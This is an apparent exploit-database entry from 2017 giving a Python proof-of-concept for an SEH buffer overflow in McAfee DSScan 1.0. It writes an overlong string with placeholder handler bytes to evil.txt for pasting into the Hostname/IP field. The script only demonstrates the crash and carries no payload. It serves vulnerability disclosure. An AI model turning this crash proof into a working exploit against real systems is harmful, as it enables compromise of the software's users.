发布 2017-08-18 漏洞条目

DSScan 1.0 – Local Buffer Overflow (PoC)

Exploit Source

#!/usr/bin/python

# Exploit Title : DSScan v1.0 Hostname/IP Field SEH Overwrite POC

# Discovery by : Anurag Srivastava

# Email : anurag.srivastava@pyramidcyber.com

# Website : http://pyramidcyber.com/

# Discovery Date : 18/08/2017

# Software Link : https://www.mcafee.com/in/downloads/free-tools/dsscan.aspx#

# Tested Version : 1.00

# Vulnerability Type: SEH Overwrite POC

# Tested on OS : Windows 10 Home x64

# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->

##########################################################################################

# -----------------------------------NOTES----------------------------------------------#

##########################################################################################

#SEH chain of main thread

#Address SE handler

#0019F900 43434343

#42424242 *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 560

buffer = "A"*560

# Address of the Next SEH Frame

nseh = "B"*4

# Address to the Handler Code

seh = "C" *4

f = open("evil.txt", "wb")

f.write(buffer+nseh+seh)

f.close()

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